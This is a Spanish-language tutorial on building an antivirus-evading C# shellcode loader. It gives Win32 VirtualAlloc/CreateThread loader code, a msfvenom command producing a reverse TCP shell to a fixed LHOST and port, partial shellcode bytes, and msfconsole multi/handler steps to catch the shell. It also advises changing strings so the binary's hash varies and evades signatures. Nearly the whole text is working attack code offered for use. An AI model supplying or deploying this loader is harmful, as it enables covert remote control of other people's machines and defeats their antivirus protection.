Bypass Antivirus

Lo que vamos a hacer es programar desde cero, en C#, un ejecutable que realice llamadas directas a la API Win32 para crear un proceso de forma manual, inyectar un payload en memoria y ejecutarlo sin utilizar funciones de alto nivel. El objetivo de este enfoque es evitar los patrones comunes que las firmas estáticas de la mayoría de antivirus detectan fácilmente, reduciendo así la probabilidad de ser bloqueados.

Sin embargo, es importante tener claro que este exploit no evade Windows Defender. Aunque lograremos eludir la detección por parte de muchos otros antivirus, Windows Defender sigue identificando y bloqueando el payload debido a que internamente contiene una shellcode generado por msfvenom, cuyo comportamiento ya está registrado en sus firmas heurísticas.

El exploit permite modificar variables, mensajes y otros elementos visibles para evitar que se generen hashes repetidos y facilitar así su reutilización sin ser detectado por soluciones AV tradicionales. Pero mientras el payload siga siendo el mismo y provenga de una fuente como msfvenom, Defender lo seguirá parando.

Pasos

  1. Descargar Visual Studio 2022

  2. Le daremos a crear un nuevo proyecto y indicaremos Aplicación de consola (.NET Framework)

  1. Cuerpo del código

using System;
using System.CodeDom;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Win32

{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);


        static void Main (String[] args)
        {


        }
    }
}

  1. Generar payload

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.200.128 LPORT=5555 -f csharp

byte[] buf = new byte[354] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x31,0xff,0x0f,0xb7,0x4a,0x26,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,...
};
  1. Meter payload en el exploit, completo:

using System;
using System.CodeDom;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Win32

{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
        static void Main(String[] args)
        {
            // --- Payload solo el inicio, resto ver archivo externo ---
            byte[] buf = new byte[354] {
                0xfc, 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b,
                0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x31, 0xff, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xc0,
                0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x49, 0x75, 0xef, 0x52,
                // ... (continúa el payload en archivo adjunto) ...
            };
    
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Iniciando Payload");
    
            IntPtr funcAdrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, funcAdrr, buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAdrr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}
  1. para compilarlo le damos a generar

  1. Configuramos un puerto a la escucha con multi/handler

msfconsole
use multi/handler
set payload windows/shell/reverse_tcp
set LHOST <IP_LHOST>
set LPORT 5555
  1. Lo ejecutamos

y nos llega la reverse shell:

Última actualización